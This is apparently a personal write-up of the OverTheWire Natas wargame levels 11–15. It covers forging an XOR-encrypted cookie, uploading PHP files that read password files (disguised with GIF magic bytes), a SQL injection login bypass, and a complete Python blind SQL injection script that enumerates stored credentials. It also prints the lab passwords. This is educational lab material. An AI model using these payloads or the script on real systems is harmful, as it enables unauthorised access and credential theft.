OTW Natas 11-15

Natas11

Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
URL:      http://natas11.natas.labs.overthewire.org
Natas11 info
natas11 index
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);
?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>
PHP source code
This is where the fun begins.

We have to set the showpassword to be "yes" to have PHP return the flag.

XOR "encryption" is only effective when it's a one time pad (OTP) – aka the key is only used once, if it's used multiple times, we can just XOR 2 pieces of data and get the resulting value back.

These are the properties of the Xor (^) operator

Xor Truth Table
Inputs Output
0 0 0
0 1 1
1 0 1
1 1 0

a ^ b = c

a ^ b = b ^ a

a ^ a = 0

c ^ b = a ^ b ^ b = a

Do we need the key?

$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
Deserialization of the data cookie

Let's look at the code a little more. We first base64 decode the data cookie, then xor_encrypt, then decode it as json.

For testing with a random key

{"showpassword":"no","bgcolor":"#ffffff"} saved returns
SxNBW1tCRlFCQURbR1ISCxBdWxcaElNVUFtZWUITCBEXU1BWV1RVFkg=

{"showpassword":"yes","bgcolor":"#ffffff"} saved returns
SxNBW1tCRlFCQURbR1ISCxBKUUYUHBNQVFdaWl9DEAkWFlBWV1RVUhdL

Comparison:
SxNBW1tCRlFCQURbR1ISCxB dWxcaElNVUFtZWUITCBEXU1 BWV1RVFkg=
SxNBW1tCRlFCQURbR1ISCxB KUUYUHBNQVFdaWl9DEAkWFl BWV1RVUhdL
Comparing the output of the serialization using a random key

Quick learning lesson into base64

The possible characters are A-Z, a-z, 0-9, +, /. This totals to 64 possible characters. I guess that's where the 64 of base64 comes from.

Back to "Do we need the key?"

23 characters that differ, and 64 possible characters they could be, so it would only be 64^23 (348449143727040986586495598010130648530944) possible combinations. It would be easier, and much faster to get the key rather then trying to brute force the solution.

Doing some testing with the source code locally

I created a PHP file that contained the loadData saveData xorEncrypt, etc. and added parameters to the functions that required access to cookies or the HTTP request such that I could test locally.

Setting the key to be an integer gives the following error, so this means that the key has to be a string. PHP Fatal error:  Uncaught TypeError: Unsupported operand types: string ^ null

That string can be bytes using the following formatting\x00, so that error doesn't help much.

My original strategy was to find a parameter to the xor_encrypt function that would zero out the result. This isn't correct because going back to the truth table, the only way the output could be zero is if the inputs are the same. All I was doing was figuring out the ascii value of the input in way too many steps.

I spent 2 minutes finding my legal pad and decided to write some maths down and realized the following in about another 2 minutes:

plaintext ^ key = ciphertext --> plaintext ^ ciphertext = key

I wasn't joking, it's literally 4 lines...

:facepalm: I spent way too much time trying to zero out this value to get the key that it's surprising I'm even including it in the writeup.

The final testing file is as follows:

#!/usr/bin/env php
<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

// Added a key parameter so I could pass in a second value
function xor_encrypt($in, $key) {
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def, $data, $key) {
    $mydata = $def;
    $tempdata = base64_decode($data);
    print "Base64_decode: ".$tempdata.PHP_EOL;
    $tempdata = xor_encrypt($tempdata, $key);
    print "xor_encrypt (".mb_strlen($tempdata, "UTF-8")."): '".$tempdata."'".PHP_EOL;

    $tempdata = json_decode($tempdata, true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
            $mydata['showpassword'] = $tempdata['showpassword'];
            $mydata['bgcolor'] = $tempdata['bgcolor'];
            print "Loaded data!".PHP_EOL;
        }
    }
    return $mydata;
}

function saveData($d, $key) {
    return base64_encode(xor_encrypt(json_encode($d), $key));
}

// Default data for natas11
// {"showpassword":"no","bgcolor":"#ffffff"}
$tmp_key = '{"showpassword":"no","bgcolor":"#ffffff"}';
$my_data = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw\n";
// The result of xoring the plaintext and the ciphertext together results in the key:
// xor_encrypt (41): 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw?Jq'
// The key is just a repeating 4 character string, not sure what happened with the '?' bit...
$tmp_key = 'qw8J';

$data = loadData($defaultdata, $my_data, $tmp_key);
print "showpassword: ".$data['showpassword'].PHP_EOL."bgcolor:         ".$data['bgcolor'].PHP_EOL;

$request_bgcolor = "#ffffff";
if (preg_match('/^#(?:[a-f\d]{6})$/i', $request_bgcolor)) {
    $data['bgcolor'] = $request_bgcolor;
}

print "Updated bgcolor: ".$data['bgcolor'].PHP_EOL;
print saveData($data, $tmp_key).PHP_EOL;
?>
natas11_testing.php

Setting the $tmp_key to be the plaintext, and the $my_data variable to be the ciphertext from the Natas11 data cookie we get the key of qw8J.

Using this key, I was able to xor_encrypt and base64_encode the showpassword="yes", resulting in ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVFksFxFeLFMK.

Editing the cookie in the storage tab of the firefox developer tools to be this value, I was able to finally get the password for Natas12.

Natas11 success

Natas12

Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
URL:      http://natas12.natas.labs.overthewire.org
Natas12 info
Natas12 index
<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    	$path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
Natas12 source

No crypto here, so maybe it won't take me an entire day to solve this one!

These file upload challenges are unique, there's a limit of 1KB file size for a JPG image, but my nyan cat photo downscaled to oblivion is 9.7KB...

Image for reference

Good thing I didn't want my photo uploaded anyway... I'll have to resort to more 'active' files.

Source code analysis

Going through the source of the challenge, we can see that the $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); function call takes in the filename post value.

Noticing that we control the filename parameter we can trace this value through these functions.

The makeRandomPath($dir, $ext); call takes the directory and extension and generates a random filename with the $ext at that path.

Given the makeRandomPathFromFilename parameters are ($dir, $fn) which corresponds to ("upload", $_POST["filename"]). This $ext comes from the makeRandomPathFromFilename function. $ext = pathinfo($fn, PATHINFO_EXTENSION);. The $fn argument is the input that we control!

So where does this filename come from since there isn't an text input box in the upload form.

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Sneaky PHP

Notice how the .jpg extension is ON THE CLIENT SIDE.

Changing the extension to php and uploading the following file:

<?php
    echo "doot";
?>
Test file to make sure the php exttension change works

It successfully uploaded!

Upload success

And it gets interpreted as PHP!

PHP result

Let's actually solve the challenge now that we know we can input a php file.

<?php
    // Can finally call this hopefully
    phpinfo();

    // Path to natas13 password
    $pass_file_path = "/etc/natas_webpass/natas13";
    // Open the password file
    $pass_file = fopen($pass_file_path, "r") or die("Unable to open file: '".$pass_file_path."'!");
    // Echo the contents of the file
    echo fread($pass_file, filesize($pass_file_path));

    // Close the file
    fclose($pass_file);
?>
Natas12 solve
Don't forget to update the extension

Finally got the phpinfo – tbh not sure if it'll be helpful, but all information is good information.

Also the password was at the end too.

phpinfo and Natas13 password

Natas13

Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL:      http://natas13.natas.labs.overthewire.org
Natas13 info
Natas13 index

Nice security note, and some new source functionality.

else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
	echo "File is not an image";
}
Image security!

exif_imagetype

Using the php docs this function "reads the first bytes of an image and checks its signature."

One thing I like to always do is check the comments to see if any of the users have found a security issue, but in this case, we just have a comment from "Tim": By trial and error, it seems that a file has to be 12 bytes or larger in order to avoid a "Read error!".

Image magic bytes

Files can have "magic bytes" at the start to give information about the format of the file. Essentially it's a file header that tells whatever is reading it what type of file it is. According to Wikipedia, ".jpeg" files will have the following magic bytes:

https://en.wikipedia.org/wiki/JPEG

A github repo that lists magic numbers for various filetypes shows the following

https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

Looks like the last byte can be e0-ef according to comments, but let's check the php implementation.

Since we have the version of php from the previous natas: PHP Version 5.6.33-0+deb8u1 we can download the right version, or just use the php verison that I have installed and hope it's the same function.

<?php
    print "Result: ".strval(exif_imagetype("./header")).PHP_EOL;
?>

Here's a little test I put together to check the result of the exif_imagetype. It reads the header file and checks to see if it will return false or an integer that represents the filetype.

I couldn't get the JPEG or PNG format to work, but using the GIF header I was able to print an integer result.

GIF header
GIF8
<?php
    echo "doot";
?>
header file
Test file success
file output

Not just the test file, but also the file command shows it as a GIF.

The function is not specifically looking for a jpg file, it is only looking for a valid image so this should work.

Let's modify the natas12 solution by adding the GIF8 to the top && change the path:

GIF8
<?php
    // Path to natas14 password
    $pass_file_path = "/etc/natas_webpass/natas14";
    // Open the password file
    $pass_file = fopen($pass_file_path, "r") or die("Unable to open file: '".$pass_file_path."'!");
    // Echo the contents of the file
    echo fread($pass_file, filesize($pass_file_path));

    // Close the file
    fclose($pass_file);
?>
Upload solution file

Uploading the solution file successfully!

Natas13 success

Natas14 password acquired successfully!


Natas14

Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
URL:      http://natas14.natas.labs.overthewire.org
Natas14 info
Natas14 index
<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>
Natas14 sourcecode

It's a basic SQL injection and it gives us the query with no input sanitization.

" or 1="1 will give us the flag, I didn't feel like typing another 2 double quotes around the 1 and due to mysql being weird it still works.

Mysql being "weird"

Mysql has implicit typecasting, which means that it can interpret strings with numbers as an integer if the first expression is an integer.

Natas 14 success

Natas15

Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL:      http://natas15.natas.labs.overthewire.org
Natas15 info
Natas15 welcome
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            echo "This user exists.<br>";
        } else {
            echo "This user doesn't exist.<br>";
        }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>
source code

This one isn't as nice as the last challenge. We're given the query, there's no sanitization, but there isn't a way to print the output.

This means we have to get the characters one at a time and we can verify by using the success or failure messages... This is known as a blind SQL injection. Thankfully they give us the table spec and the username and password are only 64 characters each. My guess is I don't care about the username at all, and I should just focus on the password.

Brb, gonna make a fun little python script.

First attempt was using

payload = '" or password like "' + "".join(current_list) + "%"

This got me the following passwords:

6P151ONTQE
HLWUGKTS2W
WAIHEACJ63WNNIBROHEQI3P9T
hLWUGKTS2W
wAIHEACJ63WNNIBROHEQI3P9T
Attempt 1 password enumeration

The Natas passwords have been 32 characters in the past, but the longest ones are only 25 characters. Looking back, there was a bug in my code that never sent the 0 character and caused the enumeration to stop. The issue is that the results are case insensitive, there are 2 versions of all the passwords except the one that starts with an integer. Trying to test all the combinations of capitals and lowercase resulted in... This:

Case insensitive testing

It would take 2281 hours to finish all 33,554,432 combinations. This is better than brute forcing the base64, but ain't nobody got time for that.

Take 2

Let's figure out a way to case SENSITIVELY enumerate the password so that we don't have 33 million combinations.

I looked around on Google for a while, and tried a few things, converting each string to binary, and also using COLLATE.

Collate

Collation is nothing but a set of rules that are predefined in SQL Server that determine how the data in SQL Server are stored, retrieved and compared. Mainly there are various rules or collations that exist in SQL Server but we need to know the following 2 main collations.
1. SQL_Latin1_General_CP1_CI_AS
2. SQL_Latin1_General_CP1_CS_AS
Here the CI is case insensitive.
CS is case sensitive,
From https://social.technet.microsoft.com/wiki/contents/articles/32653.sql-server-collation-explained.aspx

Case sensitive columns are exactly what I'm looking for.

# Command from https://stackoverflow.com/questions/4558707/case-sensitive-collation-in-mysql
SHOW COLLATION WHERE COLLATION LIKE  "%_cs";

Collation	Charset	Id	Default	Compiled	Sortlen	Pad_attribute
cp1251_general_cs	cp1251	52		Yes	1	PAD SPACE
latin1_general_cs	latin1	49		Yes	1	PAD SPACE
latin7_general_cs	latin7	42		Yes	1	PAD SPACE
utf8mb4_0900_as_cs	utf8mb4	278		Yes	0	NO PAD-
Gives a list of possible collations – output from https://onecompiler.com/mysql/

These are the different types of case sensitive collations available on a web SQL instance. All I have to do is try the Collation's name on the challenge server until one works.

tldr; it can bring case sensitivity back at the column level.

Back to "Take 2"

Messing around on the index, I found that the latin1_general_cs collation worked with the input " or LEFT(password, 1)="W" COLLATE latin1_general_cs;#. The query didn't give an error and returned the "user exists" message. This input did not give a "user exists" message with the lowercase w which means I can finally check for upper and lowercase characters.

Breaking down the input, the query turns into:

SELECT * from users where username="" or LEFT(password, 1)="W" COLLATE latin1_general_cs;#";
Full query with blind sql injection

The LEFT gets the leftmost character(s) in the password column, and the COLLATE will check it case sensitively.

My thought process behind this blind SQL injection is to slowly build up the string character by character until there are no more values. I can confirm a character exists by checking for the "user exists" message in the html response. This logic holds because the "user exists" message only shows when a row is returned, and if a password doesn't have the string we're sending in it, it won't appear.

The final solve is here:

#!/usr/bin/env python

import requests


def advance_character(current_string_list):
    """
    Takes the current_string_list and increments the last character, will work on empty lists
    """
    if len(current_string_list) == 0:
        return ["/"], False

    # Working with the last character
    character = current_string_list[-1]

    # Acceptable characters are 0-9 A-Z a-z
    if character == 'z':
        # This case is when the last character has been reached
        # Print the string without the 'z' guess
        print("".join(current_string_list[:-1]) + " ")
        # Return the current_string_list with done set to True
        return current_string_list, True
    elif character == 'Z':
        # Jump to next character -- no special characters in pass
        character = 'a'
    elif character == '9':
        # Jump to next character -- no special characters in pass
        character = 'A'
    else:
        # Increment the character
        character = chr(ord(character) + 1)

    # Store the updated character in the list
    current_string_list[-1] = character

    # Return the list with the done boolean
    return current_string_list, False


def get_case_sensitive_column(url, column, uname, pword, enumerate_username=""):
    """
    Takes the url for the request, the column name to enumerate, the
    HTTP basic authentication username, the HTTP basic authentication password
    and an optional username for enumerating password
    """

    # Case sensitive results
    cs_result = []
    # Current guess list
    current_list = []
    # Number of requests
    request_num = 0

    # Loop until the enumeration is complete
    while 1:
        current_list, done = advance_character(current_list)
        if not done:
            # Print the current guess
            print("".join(current_list), end='\r')

        # Break if done and current_list only contains 1 character
        if done and len(current_list) > 1:
            cs_result.append("".join(current_list)[:-1])

            # Only enumerate 1 password for a username
            if len(enumerate_username) > 0:
                break

            # Get the first character of the first list && advance the character
            # If the enumeration was ['A', 'A', 'A'], this would result in ['B']
            # **NOTE** This is not going to enumerate multiple strings that start with the same letter
            #    Alice, Averi, Adam will not all be found.
            current_list, done = advance_character([current_list[0]])

            # Print the current list
            print("".join(current_list), end='\r')

            # Already on the last character
            if done:
                break
        elif done and len(current_list) <= 1:
            print("Done.")
            break

        # $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
        # " or LEFT(password, 1)="w" COLLATE latin1_general_cs;#
        payload = 'LEFT(' + column + ', ' + str(len(current_list)) + ')="' + "".join(current_list) + '" COLLATE latin1_general_cs;#'

        # Prepend username to enumerate user's password
        if len(enumerate_username) > 0:
            payload = enumerate_username + '" and ' + payload
        else:
            # Or enumerate column name
            payload = '" or ' + payload

        # Send the payload to the url
        response = requests.post(url, auth=(uname, pword), data={'username': payload})
        request_num += 1

        # Check results for "This user exists"
        if "This user exists" in response.text:
            # Append '/' because it will turn into the '0' character on append
            current_list.append('/')

    # Return the results
    return cs_result, request_num

# Challenge information
natas15_url = "http://natas15.natas.labs.overthewire.org/index.php"
username = "natas15"
password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

total_requests = 0

print("Enumerating users...")
users, req_num = get_case_sensitive_column(natas15_url, "username", username, password)
total_requests += req_num

results = {}
for user in users:
    print("\nEnumerating " + user + "'s password...")
    # password will be a list, but it will only have 1 element
    password_res, req_num = get_case_sensitive_column(natas15_url, "password", username, password, enumerate_username=user)

    if len(password_res) >= 1:
        results[user] = password_res[0]
    else:
        results[user] = ""
    total_requests += req_num

print("Found the following username password values")
for key in results.keys():
    print("Username: " + key + " Password: " + results[key])

print("Total requests: " + str(total_requests))
natas15_solve.py
Natas15 blind SQL solve output

PHSC138
The World Wide Web